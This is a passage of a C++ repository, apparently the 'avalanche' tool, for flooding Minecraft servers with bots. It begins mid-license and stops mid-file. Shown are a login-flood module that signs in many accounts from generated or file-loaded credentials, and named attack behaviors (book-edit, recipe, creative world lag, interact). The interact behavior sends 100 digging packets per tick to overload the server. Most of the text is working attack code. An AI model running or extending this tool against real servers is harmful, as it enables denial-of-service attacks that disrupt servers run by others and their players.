HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /avalanche.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26403.3 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "avalanche", "avalanche\avalanche.vcxproj", "{2A802FB9-FC42-4FD5-8718-1BEE67BB3C5C}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {2A802FB9-FC42-4FD5-8718-1BEE67BB3C5C}.Debug|x64.ActiveCfg = Debug|Win32 17 | {2A802FB9-FC42-4FD5-8718-1BEE67BB3C5C}.Debug|x86.ActiveCfg = Debug|Win32 18 | {2A802FB9-FC42-4FD5-8718-1BEE67BB3C5C}.Debug|x86.Build.0 = Debug|Win32 19 | {2A802FB9-FC42-4FD5-8718-1BEE67BB3C5C}.Release|x64.ActiveCfg = Release|Win32 20 | {2A802FB9-FC42-4FD5-8718-1BEE67BB3C5C}.Release|x86.ActiveCfg = Release|Win32 21 | {2A802FB9-FC42-4FD5-8718-1BEE67BB3C5C}.Release|x86.Build.0 = Release|Win32 22 | EndGlobalSection 23 | GlobalSection(SolutionProperties) = preSolution 24 | HideSolutionNode = FALSE 25 | EndGlobalSection 26 | EndGlobal 27 | -------------------------------------------------------------------------------- /avalanche/login/LoginMethod.h: -------------------------------------------------------------------------------- 1 | #ifndef AVALANCHE_LOGIN_METHOD_H_ 2 | #define AVALANCHE_LOGIN_METHOD_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "generator/AuthGenerator.h" 11 | 12 | namespace Json { 13 | 14 | class Value; 15 | 16 | } // ns Json 17 | 18 | namespace avalanche { 19 | 20 | class Instance; 21 | 22 | class LoginMethod { 23 | protected: 24 | std::unique_ptr m_Generator; 25 | std::string m_Host; 26 | u16 m_Port; 27 | 28 | virtual bool ReadMethodJSON(const Json::Value& node) = 0; 29 | void ParseServer(const std::string& server); 30 | 31 | public: 32 | LoginMethod(); 33 | virtual ~LoginMethod() { } 34 | 35 | const std::string& GetHost() const { return m_Host; } 36 | u16 GetPort() const { return m_Port; } 37 | 38 | bool ReadOptions(std::unordered_map options); 39 | bool ReadJSON(const Json::Value& node); 40 | 41 | virtual std::size_t Login(std::vector>& instances) = 0; 42 | }; 43 | 44 | using LoginFactory = Factory; 45 | extern LoginFactory g_LoginFactory; 46 | 47 | } // ns avalanche 48 | 49 | #endif 50 | -------------------------------------------------------------------------------- /avalanche/behavior/attack/AttackBookEdit.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_ATTACK_BOOKEDIT_ 2 | #define _AVALANCHE_ATTACK_BOOKEDIT_ 3 | 4 | #include "../Behavior.h" 5 | 6 | #include 7 | 8 | namespace avalanche { 9 | 10 | 11 | class AttackBookEdit : public Behavior, public mc::core::ClientListener, mc::protocol::packets::PacketHandler { 12 | private: 13 | mc::core::Client* m_Client; 14 | bool m_Finished; 15 | bool m_Hidden; 16 | bool m_Transaction; 17 | s32 m_TransactionIndex; 18 | 19 | static mc::inventory::Slot s_AttackItem; 20 | static std::string s_AttackData; 21 | static s32 s_BookPages; 22 | static s32 s_SendPerTick; 23 | 24 | void CreateAttack(); 25 | 26 | public: 27 | AttackBookEdit(mc::core::Client* client, mc::protocol::Version version); 28 | ~AttackBookEdit(); 29 | 30 | void OnCreate() override; 31 | bool OnUpdate() override { return m_Finished; } 32 | void OnDestroy() override; 33 | 34 | void OnTick() override; 35 | bool ReadJSON(const Json::Value& attackNode) override; 36 | 37 | void HandlePacket(mc::protocol::packets::in::ConfirmTransactionPacket* packet) override; 38 | 39 | static const char* s_Name; 40 | }; 41 | 42 | } // ns avalanche 43 | 44 | #endif 45 | -------------------------------------------------------------------------------- /avalanche/login/Authenticator.cpp: -------------------------------------------------------------------------------- 1 | #include "Authenticator.h" 2 | 3 | namespace avalanche { 4 | 5 | Authenticator::Authenticator(const std::string& username, const mc::core::AuthToken& token) 6 | : m_Username(username), 7 | m_Token(token), 8 | m_Method(Method::Token) 9 | { 10 | 11 | } 12 | 13 | Authenticator::Authenticator(const std::string& username, const std::string& password) 14 | : m_Username(username), 15 | m_Password(password), 16 | m_Method(Method::Password) 17 | { 18 | 19 | } 20 | 21 | bool Authenticator::PasswordAuthentication(Instance& instance, const std::string& host, u16 port) { 22 | return instance.GetClient()->Login(host, port, m_Username, m_Password, mc::core::UpdateMethod::Manual); 23 | } 24 | 25 | bool Authenticator::TokenAuthentication(Instance& instance, const std::string& host, u16 port) { 26 | return instance.GetClient()->Login(host, port, m_Username, m_Token, mc::core::UpdateMethod::Manual); 27 | } 28 | 29 | bool Authenticator::Authenticate(Instance& instance, const std::string& host, u16 port) { 30 | if (m_Method == Method::Password) 31 | return PasswordAuthentication(instance, host, port); 32 | return TokenAuthentication(instance, host, port); 33 | } 34 | 35 | } // ns avalanche 36 | -------------------------------------------------------------------------------- /avalanche/login/Authenticator.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_LOGIN_AUTHENTICATOR_H_ 2 | #define _AVALANCHE_LOGIN_AUTHENTICATOR_H_ 3 | 4 | #include 5 | #include "../Instance.h" 6 | 7 | namespace avalanche { 8 | 9 | class Authenticator { 10 | public: 11 | enum class Method { Password, Token }; 12 | 13 | private: 14 | mc::core::AuthToken m_Token; 15 | std::string m_Username; 16 | std::string m_Password; 17 | Method m_Method; 18 | 19 | bool PasswordAuthentication(Instance& instance, const std::string& host, u16 port); 20 | bool TokenAuthentication(Instance& instance, const std::string& host, u16 port); 21 | 22 | public: 23 | Authenticator(const std::string& username, const mc::core::AuthToken& token); 24 | Authenticator(const std::string& username, const std::string& password); 25 | 26 | bool Authenticate(Instance& instance, const std::string& host, u16 port); 27 | 28 | mc::core::AuthToken GetToken() const noexcept { return m_Token; } 29 | const std::string& GetUsername() const noexcept { return m_Username; } 30 | const std::string& GetPassword() const noexcept { return m_Password; } 31 | Method GetMethod() const noexcept { return m_Method; } 32 | }; 33 | 34 | } // ns avalanche 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /avalanche/behavior/attack/AttackRecipe.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_ATTACK_RECIPE_ 2 | #define _AVALANCHE_ATTACK_RECIPE_ 3 | 4 | #include "../Behavior.h" 5 | 6 | #include 7 | 8 | namespace avalanche { 9 | 10 | class AttackRecipe : public Behavior, public mc::core::ClientListener, mc::protocol::packets::PacketHandler { 11 | private: 12 | mc::core::Client* m_Client; 13 | mc::protocol::Version m_Version; 14 | s32 m_TransactionIndex; 15 | bool m_Finished; 16 | bool m_Transaction; 17 | 18 | static mc::inventory::Slot s_AttackItem; 19 | static s32 s_BookPages; 20 | static s32 s_SendPerTick; 21 | static s32 s_ReturnCount; 22 | static s32 s_PrepareCount; 23 | 24 | void CreateAttack(); 25 | 26 | public: 27 | AttackRecipe(mc::core::Client* client, mc::protocol::Version version); 28 | ~AttackRecipe(); 29 | 30 | void OnCreate() override; 31 | bool OnUpdate() override { return m_Finished; } 32 | void OnDestroy() override; 33 | 34 | void OnTick() override; 35 | bool ReadJSON(const Json::Value& attackNode) override; 36 | 37 | void HandlePacket(mc::protocol::packets::in::ConfirmTransactionPacket* packet) override; 38 | 39 | static const char* s_Name; 40 | }; 41 | 42 | } // ns avalanche 43 | 44 | #endif 45 | -------------------------------------------------------------------------------- /avalanche/login/generator/RandomGenerator.cpp: -------------------------------------------------------------------------------- 1 | #include "RandomGenerator.h" 2 | 3 | namespace avalanche { 4 | 5 | const char *RandomGenerator::s_Name = "random"; 6 | 7 | RandomGenerator::RandomGenerator() 8 | : m_MinSize(3), 9 | m_MaxSize(16), 10 | m_Engine(std::random_device()()) 11 | { 12 | 13 | } 14 | 15 | void RandomGenerator::Initialize(s32 minSize, s32 maxSize) { 16 | m_MinSize = minSize; 17 | m_MaxSize = maxSize; 18 | } 19 | 20 | Authenticator RandomGenerator::Generate() { 21 | std::string username; 22 | 23 | std::uniform_int_distribution lengthDist(m_MinSize, m_MaxSize); 24 | s32 length = lengthDist(m_Engine); 25 | 26 | std::uniform_int_distribution charDist('a', 'z'); 27 | 28 | username.resize(length); 29 | for (s32 i = 0; i < length; ++i) { 30 | username[i] = (char)charDist(m_Engine); 31 | } 32 | 33 | return Authenticator(username, ""); 34 | } 35 | 36 | bool RandomGenerator::ReadJSON(const Json::Value& node) { 37 | auto&& minNode = node["min"]; 38 | auto&& maxNode = node["max"]; 39 | 40 | if (minNode.isInt()) 41 | m_MinSize = minNode.asInt(); 42 | 43 | if (maxNode.isInt()) 44 | m_MaxSize = maxNode.asInt(); 45 | 46 | return true; 47 | } 48 | 49 | } // ns avalanche 50 | -------------------------------------------------------------------------------- /avalanche/behavior/BehaviorMessage.cpp: -------------------------------------------------------------------------------- 1 | #include "BehaviorMessage.h" 2 | 3 | #include 4 | #include 5 | 6 | namespace avalanche { 7 | 8 | const char* BehaviorMessage::s_Name = "message"; 9 | 10 | BehaviorMessage::BehaviorMessage(mc::core::Client* client, mc::protocol::Version version) 11 | : m_Client(client) 12 | { 13 | 14 | } 15 | 16 | void BehaviorMessage::OnCreate() { 17 | m_Finished = false; 18 | m_Client->RegisterListener(this); 19 | } 20 | 21 | bool BehaviorMessage::OnUpdate() { 22 | return m_Finished; 23 | } 24 | 25 | void BehaviorMessage::OnDestroy() { 26 | m_Client->UnregisterListener(this); 27 | } 28 | 29 | void BehaviorMessage::OnTick() { 30 | if (m_Finished) return; 31 | if (!m_Client->GetWorld()->GetChunk(mc::ToVector3i(m_Client->GetPlayerController()->GetPosition()))) 32 | return; 33 | 34 | mc::protocol::packets::out::ChatPacket packet(m_Message); 35 | m_Client->GetConnection()->SendPacket(&packet); 36 | 37 | m_Finished = true; 38 | } 39 | 40 | bool BehaviorMessage::ReadJSON(const Json::Value& node) { 41 | auto&& messageNode = node["message"]; 42 | 43 | if (messageNode.isString()) 44 | m_Message = messageNode.asString(); 45 | else 46 | return false; 47 | 48 | return true; 49 | } 50 | 51 | } // ns avalanche 52 | -------------------------------------------------------------------------------- /avalanche/login/generator/IncrementalGenerator.cpp: -------------------------------------------------------------------------------- 1 | #include "IncrementalGenerator.h" 2 | 3 | namespace avalanche { 4 | 5 | const char *IncrementalGenerator::s_Name = "increment"; 6 | 7 | IncrementalGenerator::IncrementalGenerator() 8 | : m_BaseName(""), 9 | m_Password(""), 10 | m_Index(0) 11 | { 12 | 13 | } 14 | 15 | void IncrementalGenerator::Initialize(const std::string& baseName, const std::string& password, s32 startIndex) { 16 | m_BaseName = baseName; 17 | m_Password = password; 18 | m_Index = startIndex; 19 | } 20 | 21 | std::string IncrementalGenerator::GenerateNext() { 22 | s32 currentIndex = m_Index++; 23 | 24 | return m_BaseName + ((currentIndex > 0) ? std::to_string(currentIndex) : ""); 25 | } 26 | 27 | Authenticator IncrementalGenerator::Generate() { 28 | std::string username = GenerateNext(); 29 | 30 | return Authenticator(username, m_Password); 31 | } 32 | 33 | bool IncrementalGenerator::ReadJSON(const Json::Value& node) { 34 | auto&& usernameNode = node["username"]; 35 | auto&& passwordNode = node["password"]; 36 | auto&& startNode = node["start"]; 37 | 38 | if (usernameNode.isString()) 39 | m_BaseName = usernameNode.asString(); 40 | 41 | if (passwordNode.isString()) 42 | m_Password = passwordNode.asString(); 43 | 44 | if (startNode.isInt()) 45 | m_Index = startNode.asInt(); 46 | 47 | return true; 48 | } 49 | 50 | } // ns avalanche 51 | -------------------------------------------------------------------------------- /avalanche/Factory.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_FACTORY_H_ 2 | #define _AVALANCHE_FACTORY_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | namespace avalanche { 10 | 11 | template 12 | class Factory { 13 | public: 14 | using MethodCreator = std::unique_ptr(*)(Args... args); 15 | using MethodRegistry = std::unordered_map; 16 | 17 | private: 18 | MethodRegistry m_Methods; 19 | 20 | public: 21 | Factory() = default; 22 | 23 | Factory(const MethodRegistry& registry) { 24 | m_Methods = registry; 25 | } 26 | 27 | template 28 | void Register(const std::string& name) { 29 | auto creator = [](Args... args) -> std::unique_ptr { 30 | return std::make_unique(args...); 31 | }; 32 | 33 | m_Methods.insert(std::make_pair(name, creator)); 34 | } 35 | 36 | bool Contains(const std::string& name) const { return m_Methods.find(name) != m_Methods.end(); } 37 | 38 | std::unique_ptr Create(std::string name, Args... args) const { 39 | std::transform(name.begin(), name.end(), name.begin(), ::tolower); 40 | 41 | auto iter = m_Methods.find(name); 42 | if (iter == m_Methods.end()) 43 | return nullptr; 44 | 45 | return iter->second(args...); 46 | } 47 | }; 48 | 49 | } // ns avalanche 50 | 51 | #endif 52 | -------------------------------------------------------------------------------- /avalanche/PositionProvider.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_POSITION_PROVIDER_ 2 | #define _AVALANCHE_POSITION_PROVIDER_ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #undef min 9 | #undef max 10 | 11 | namespace avalanche { 12 | 13 | class PositionProvider { 14 | public: 15 | virtual mc::Vector3i NextPosition() = 0; 16 | }; 17 | 18 | class IncrementalPositionProvider : public PositionProvider { 19 | private: 20 | mc::Vector3i m_Position; 21 | mc::Vector3i m_Increment; 22 | 23 | public: 24 | IncrementalPositionProvider(mc::Vector3i initialPos, s32 xIncrement, s32 zIncrement) 25 | : m_Position(initialPos), 26 | m_Increment(xIncrement, 0, zIncrement) 27 | { 28 | 29 | } 30 | 31 | mc::Vector3i NextPosition() override { 32 | m_Position += m_Increment; 33 | return m_Position; 34 | } 35 | }; 36 | 37 | class RandomPositionProvider : public PositionProvider { 38 | private: 39 | std::mt19937 m_Engine; 40 | 41 | public: 42 | RandomPositionProvider() 43 | : m_Engine(std::random_device()()) 44 | { 45 | 46 | } 47 | 48 | mc::Vector3i NextPosition() override { 49 | std::uniform_int_distribution dist( 50 | std::numeric_limits::min(), 51 | std::numeric_limits::max() 52 | ); 53 | 54 | return mc::Vector3i(dist(m_Engine), 64, dist(m_Engine)); 55 | } 56 | }; 57 | 58 | } // ns avalanche 59 | 60 | #endif 61 | -------------------------------------------------------------------------------- /avalanche/login/generator/MultiUserGenerator.cpp: -------------------------------------------------------------------------------- 1 | #include "MultiUserGenerator.h" 2 | 3 | #include 4 | #include 5 | 6 | namespace avalanche { 7 | 8 | const char *MultiUserGenerator::s_Name = "multi-user"; 9 | 10 | MultiUserGenerator::MultiUserGenerator() 11 | : m_Index(0) 12 | { 13 | 14 | } 15 | 16 | 17 | bool MultiUserGenerator::Initialize(const std::string& filename) { 18 | m_Users.clear(); 19 | 20 | std::ifstream in(filename); 21 | 22 | if (!in.is_open()) 23 | throw std::runtime_error(std::string(s_Name) + ": Could not open file " + filename); 24 | 25 | std::string line; 26 | while (std::getline(in, line)) { 27 | auto pos = line.find(':'); 28 | 29 | if (pos == std::string::npos) 30 | continue; 31 | 32 | m_Users.emplace_back(line.substr(0, pos), line.substr(pos + 1)); 33 | } 34 | 35 | if (m_Users.empty()) 36 | throw std::runtime_error(std::string(s_Name) + ": No users loaded from " + filename); 37 | 38 | return true; 39 | } 40 | 41 | Authenticator MultiUserGenerator::Generate() { 42 | if (m_Index > m_Users.size() - 1) 43 | throw std::out_of_range(std::string(s_Name) + ": Index higher than user count"); 44 | 45 | UserPass current = m_Users[m_Index++]; 46 | 47 | return Authenticator(current.username, current.password); 48 | } 49 | 50 | bool MultiUserGenerator::ReadJSON(const Json::Value& node) { 51 | auto&& filenameNode = node["filename"]; 52 | 53 | if (!filenameNode.isString()) 54 | return false; 55 | 56 | return Initialize(filenameNode.asString()); 57 | } 58 | 59 | } // ns avalanche 60 | -------------------------------------------------------------------------------- /avalanche/behavior/BehaviorSneak.cpp: -------------------------------------------------------------------------------- 1 | #include "BehaviorSneak.h" 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | namespace avalanche { 8 | 9 | const char* BehaviorSneak::s_Name = "sneak"; 10 | 11 | BehaviorSneak::BehaviorSneak(mc::core::Client* client, mc::protocol::Version version) 12 | : m_Client(client), 13 | m_Start(true), 14 | m_Stop(false), 15 | m_Finished(false) 16 | { 17 | 18 | } 19 | 20 | void BehaviorSneak::OnCreate() { 21 | m_Finished = false; 22 | m_Client->RegisterListener(this); 23 | } 24 | 25 | bool BehaviorSneak::OnUpdate() { 26 | return m_Finished; 27 | } 28 | 29 | void BehaviorSneak::OnDestroy() { 30 | m_Client->UnregisterListener(this); 31 | } 32 | 33 | void BehaviorSneak::OnTick() { 34 | if (!m_Client->GetWorld()->GetChunk(mc::ToVector3i(m_Client->GetPlayerController()->GetPosition()))) 35 | return; 36 | 37 | using namespace mc::protocol::packets; 38 | 39 | auto eid = m_Client->GetEntityManager()->GetPlayerEntity()->GetEntityId(); 40 | 41 | if (m_Start) { 42 | out::EntityActionPacket packet(eid, out::EntityActionPacket::Action::StartSneak); 43 | m_Client->GetConnection()->SendPacket(&packet); 44 | } 45 | 46 | if (m_Stop) { 47 | out::EntityActionPacket packet(eid, out::EntityActionPacket::Action::StopSneak); 48 | m_Client->GetConnection()->SendPacket(&packet); 49 | } 50 | 51 | m_Finished = true; 52 | } 53 | 54 | bool BehaviorSneak::ReadJSON(const Json::Value& node) { 55 | auto&& startNode = node["start"]; 56 | auto&& stopNode = node["stop"]; 57 | 58 | if (startNode.isBool()) 59 | m_Start = startNode.asBool(); 60 | 61 | if (stopNode.isBool()) 62 | m_Stop = stopNode.asBool(); 63 | 64 | return true; 65 | } 66 | 67 | } // ns avalanche 68 | -------------------------------------------------------------------------------- /avalanche/VersionDetector.cpp: -------------------------------------------------------------------------------- 1 | #include "VersionDetector.h" 2 | 3 | #include 4 | #include 5 | 6 | namespace avalanche { 7 | 8 | VersionDetector::VersionDetector(const std::string& host, u16 port) 9 | : m_Host(host), 10 | m_Port(port), 11 | m_Found(false), 12 | m_Version(mc::protocol::Version::Minecraft_1_11_2), 13 | m_Connection(nullptr) 14 | { 15 | 16 | } 17 | 18 | void VersionDetector::OnPingResponse(const Json::Value& node) { 19 | static const std::unordered_map mapping = { 20 | { 210, mc::protocol::Version::Minecraft_1_10_2 }, 21 | { 315, mc::protocol::Version::Minecraft_1_11_0 }, 22 | { 316, mc::protocol::Version::Minecraft_1_11_2 }, 23 | { 335, mc::protocol::Version::Minecraft_1_12_0 }, 24 | { 338, mc::protocol::Version::Minecraft_1_12_1 }, 25 | }; 26 | 27 | auto&& versionNode = node["version"]; 28 | if (versionNode.isObject()) { 29 | auto&& protocolNode = versionNode["protocol"]; 30 | if (protocolNode.isInt()) { 31 | s32 protocol = protocolNode.asInt(); 32 | 33 | auto iter = mapping.lower_bound(protocol); 34 | if (iter != mapping.end()) { 35 | m_Version = iter->second; 36 | m_Found = true; 37 | m_Connection->Disconnect(); 38 | } 39 | } 40 | } 41 | } 42 | 43 | mc::protocol::Version VersionDetector::GetVersion() { 44 | if (m_Found) return m_Version; 45 | 46 | mc::protocol::packets::PacketDispatcher dispatcher; 47 | mc::core::Client m_Client(&dispatcher); 48 | 49 | m_Connection = m_Client.GetConnection(); 50 | 51 | m_Client.GetConnection()->RegisterListener(this); 52 | m_Client.Ping(m_Host, m_Port, mc::core::UpdateMethod::Block); 53 | m_Client.GetConnection()->UnregisterListener(this); 54 | 55 | return m_Version; 56 | } 57 | 58 | } // ns avalanche 59 | -------------------------------------------------------------------------------- /avalanche/main.cpp: -------------------------------------------------------------------------------- 1 | #include "getopt.h" 2 | #include "Avalanche.h" 3 | 4 | #include 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | avalanche::OptionMap ReadOptions(int argc, char* argv[]); 13 | void DisplayUsage(); 14 | 15 | int main(int argc, char* argv[]) { 16 | mc::block::BlockRegistry::GetInstance()->RegisterVanillaBlocks(); 17 | avalanche::OptionMap options = ReadOptions(argc, argv); 18 | avalanche::Avalanche avalanche; 19 | 20 | try { 21 | if (!avalanche.Initialize(options)) { 22 | DisplayUsage(); 23 | return 1; 24 | } 25 | } catch (const std::exception& e) { 26 | std::cerr << e.what() << std::endl; 27 | return 1; 28 | } 29 | 30 | avalanche.Run(); 31 | 32 | return 0; 33 | } 34 | 35 | void DisplayUsage() { 36 | std::cout << "./avalanche --username [username] --password [password] --server [server:port] --count [count] --json [filename]" << std::endl; 37 | } 38 | 39 | avalanche::OptionMap ReadOptions(int argc, char* argv[]) { 40 | avalanche::OptionMap options; 41 | 42 | while (1) { 43 | static struct option long_options[] = { 44 | { "username", required_argument, 0, 0 }, 45 | { "password", required_argument, 0, 0 }, 46 | { "server", required_argument, 0, 0 }, 47 | { "count", required_argument, 0, 0 }, 48 | { "behavior", required_argument, 0, 0 }, 49 | { "json", required_argument, 0, 0 }, 50 | { 0, 0, 0, 0 } 51 | }; 52 | 53 | int option_index = 0; 54 | int c; 55 | 56 | c = getopt_long(argc, argv, ":", long_options, &option_index); 57 | 58 | if (c == -1) 59 | break; 60 | 61 | if (c == 0) { 62 | std::string option_name = long_options[option_index].name; 63 | 64 | if (!optarg) 65 | continue; 66 | 67 | options[option_name] = optarg; 68 | } 69 | } 70 | 71 | return options; 72 | } 73 | -------------------------------------------------------------------------------- /avalanche/login/LoginFlood.cpp: -------------------------------------------------------------------------------- 1 | #include "LoginFlood.h" 2 | 3 | #include "../Instance.h" 4 | #include "Authenticator.h" 5 | #include "generator/IncrementalGenerator.h" 6 | #include 7 | #include 8 | #include 9 | 10 | namespace avalanche { 11 | 12 | const char* LoginFlood::s_Name = "flood"; 13 | 14 | LoginFlood::LoginFlood() 15 | : m_Delay(0) 16 | { 17 | 18 | } 19 | 20 | std::size_t LoginFlood::Login(std::vector>& instances) { 21 | std::size_t total = 0; 22 | 23 | for (std::size_t i = 0; i < instances.size(); ++i) { 24 | if (i != 0) { 25 | auto time = mc::util::GetTime(); 26 | // Update previous instances while waiting to log in the next one. 27 | while (mc::util::GetTime() < time + m_Delay) { 28 | for (std::size_t j = 0; j < i; ++j) { 29 | auto connState = instances[j]->GetClient()->GetConnection()->GetSocketState(); 30 | 31 | if (connState == mc::network::Socket::Status::Connected) 32 | instances[j]->GetClient()->Update(); 33 | } 34 | } 35 | } 36 | 37 | try { 38 | Authenticator authenticator = m_Generator->Generate(); 39 | std::cout << "Trying to log in to " << m_Host << ":" << m_Port << " with " << authenticator.GetUsername() << std::endl; 40 | 41 | if (!authenticator.Authenticate(*instances[i], m_Host, m_Port)) { 42 | std::cerr << "Failed to login with instance " << i << std::endl; 43 | continue; 44 | } 45 | } catch (const std::exception& e) { 46 | std::cerr << e.what() << std::endl; 47 | continue; 48 | } 49 | 50 | std::cout << "Successfully logged in instance " << i << std::endl; 51 | ++total; 52 | } 53 | 54 | return total; 55 | } 56 | 57 | bool LoginFlood::ReadMethodJSON(const Json::Value& node) { 58 | auto&& delayNode = node["delay"]; 59 | 60 | if (delayNode.isInt()) 61 | m_Delay = delayNode.asInt(); 62 | 63 | return true; 64 | } 65 | 66 | } // ns avalanche 67 | -------------------------------------------------------------------------------- /avalanche/behavior/attack/AttackInteract.cpp: -------------------------------------------------------------------------------- 1 | #include "AttackInteract.h" 2 | 3 | #include 4 | 5 | namespace avalanche { 6 | 7 | const char* AttackInteract::s_Name = "interact"; 8 | 9 | AttackInteract::AttackInteract(mc::core::Client* client, mc::protocol::Version version) 10 | : m_Client(client), 11 | m_SendPerTick(100), 12 | m_Finished(false) 13 | { 14 | 15 | } 16 | 17 | AttackInteract::~AttackInteract() { 18 | 19 | } 20 | 21 | void AttackInteract::OnCreate() { 22 | m_Client->RegisterListener(this); 23 | m_Finished = false; 24 | } 25 | 26 | void AttackInteract::OnDestroy() { 27 | m_Client->UnregisterListener(this); 28 | } 29 | 30 | void AttackInteract::OnTick() { 31 | using mc::Vector3i; 32 | 33 | const Vector3i offset(0, 2, 0); 34 | 35 | auto controller = m_Client->GetPlayerController(); 36 | auto world = m_Client->GetWorld(); 37 | 38 | mc::Vector3i target = mc::ToVector3i(controller->GetPosition()) + offset; 39 | 40 | if (target == offset) return; 41 | if (!world->GetChunk(target)) return; 42 | 43 | controller->LookAt(mc::ToVector3d(target)); 44 | 45 | mc::block::BlockPtr block = world->GetBlock(target + Vector3i(0, 1, 0)).GetBlock(); 46 | 47 | if (block == nullptr) { 48 | return; 49 | } 50 | 51 | using namespace mc::protocol::packets::out; 52 | 53 | for (s32 i = 0; i < m_SendPerTick; ++i) { 54 | PlayerDiggingPacket::Status status = PlayerDiggingPacket::Status::StartedDigging; 55 | PlayerDiggingPacket packet(status, target + Vector3i(0, 1, 0), mc::Face::West); 56 | 57 | m_Client->GetConnection()->SendPacket(&packet); 58 | 59 | status = PlayerDiggingPacket::Status::FinishedDigging; 60 | packet = PlayerDiggingPacket(status, target + Vector3i(0, 1, 0), mc::Face::West); 61 | 62 | m_Client->GetConnection()->SendPacket(&packet); 63 | } 64 | 65 | m_Finished = true; 66 | } 67 | 68 | bool AttackInteract::ReadJSON(const Json::Value& attackNode) { 69 | auto&& methodNode = attackNode["method"]; 70 | if (!methodNode.isString() || methodNode.asString() != s_Name) 71 | return false; 72 | 73 | auto&& sendPerTickNode = attackNode["send-per-tick"]; 74 | if (!sendPerTickNode.isNull()) { 75 | m_SendPerTick = sendPerTickNode.asInt(); 76 | } 77 | 78 | return true; 79 | } 80 | 81 | } // ns avalanche 82 | -------------------------------------------------------------------------------- /avalanche/behavior/Behavior.cpp: -------------------------------------------------------------------------------- 1 | #include "Behavior.h" 2 | 3 | #include "attack/AttackBookEdit.h" 4 | #include "attack/AttackCreativeWorldLag.h" 5 | #include "attack/AttackInteract.h" 6 | #include "attack/AttackRecipe.h" 7 | #include "BehaviorDelay.h" 8 | #include "BehaviorDisconnect.h" 9 | #include "BehaviorMessage.h" 10 | #include "BehaviorSequence.h" 11 | #include "BehaviorSneak.h" 12 | #include "BehaviorSwing.h" 13 | 14 | namespace avalanche { 15 | 16 | BehaviorFactory g_BehaviorFactory = BehaviorFactory::MethodRegistry { 17 | { BehaviorDelay::s_Name, [](mc::core::Client* client, mc::protocol::Version version) -> std::unique_ptr { return std::make_unique(client, version); } }, 18 | { BehaviorDisconnect::s_Name, [](mc::core::Client* client, mc::protocol::Version version) -> std::unique_ptr { return std::make_unique(client, version); } }, 19 | { BehaviorMessage::s_Name, [](mc::core::Client* client, mc::protocol::Version version) -> std::unique_ptr { return std::make_unique(client, version); } }, 20 | { BehaviorSequence::s_Name, [](mc::core::Client* client, mc::protocol::Version version) -> std::unique_ptr { return std::make_unique(client, version); } }, 21 | { BehaviorSneak::s_Name, [](mc::core::Client* client, mc::protocol::Version version) -> std::unique_ptr { return std::make_unique(client, version); } }, 22 | { BehaviorSwing::s_Name, [](mc::core::Client* client, mc::protocol::Version version) -> std::unique_ptr { return std::make_unique(client, version); } }, 23 | 24 | { AttackRecipe::s_Name, [](mc::core::Client* client, mc::protocol::Version version) -> std::unique_ptr { return std::make_unique(client, version); } }, 25 | { AttackBookEdit::s_Name, [](mc::core::Client* client, mc::protocol::Version version) -> std::unique_ptr { return std::make_unique(client, version); } }, 26 | { AttackCreativeWorldLag::s_Name, [](mc::core::Client* client, mc::protocol::Version version) -> std::unique_ptr { return std::make_unique(client, version); } }, 27 | { AttackInteract::s_Name, [](mc::core::Client* client, mc::protocol::Version version) -> std::unique_ptr { return std::make_unique(client, version); } }, 28 | }; 29 | 30 | } // ns avalanche 31 | -------------------------------------------------------------------------------- /avalanche/behavior/BehaviorSequence.cpp: -------------------------------------------------------------------------------- 1 | #include "BehaviorSequence.h" 2 | 3 | #include 4 | #include 5 | 6 | namespace avalanche { 7 | 8 | const char* BehaviorSequence::s_Name = "sequence"; 9 | 10 | BehaviorSequence::BehaviorSequence(mc::core::Client* client, mc::protocol::Version version) 11 | : m_Client(client), 12 | m_Version(version), 13 | m_Index(0), 14 | m_Repeat(true) 15 | { 16 | 17 | } 18 | 19 | void BehaviorSequence::OnCreate() { 20 | if (m_Children.empty()) return; 21 | 22 | m_Children.front()->OnCreate(); 23 | m_Finished = false; 24 | } 25 | 26 | bool BehaviorSequence::OnUpdate() { 27 | if (m_Finished) return true; 28 | 29 | auto&& child = m_Children[m_Index]; 30 | 31 | if (child->OnUpdate()) { 32 | child->OnDestroy(); 33 | 34 | ++m_Index; 35 | 36 | const s32 maxIndex = m_Children.size() - 1; 37 | 38 | if (m_Index > maxIndex) { 39 | if (m_Repeat) 40 | m_Index = 0; 41 | else 42 | m_Finished = true; 43 | } 44 | 45 | if (m_Index <= maxIndex) 46 | m_Children[m_Index]->OnCreate(); 47 | } 48 | 49 | return m_Finished; 50 | } 51 | 52 | void BehaviorSequence::OnDestroy() { 53 | if (!m_Finished) 54 | m_Children[m_Index]->OnDestroy(); 55 | } 56 | 57 | bool BehaviorSequence::ReadJSON(const Json::Value& node) { 58 | auto&& repeatNode = node["repeat"]; 59 | 60 | if (repeatNode.isBool()) 61 | m_Repeat = repeatNode.asBool(); 62 | 63 | auto&& childrenNode = node["children"]; 64 | 65 | if (!childrenNode.isArray()) 66 | return false; 67 | 68 | for (auto&& iter = 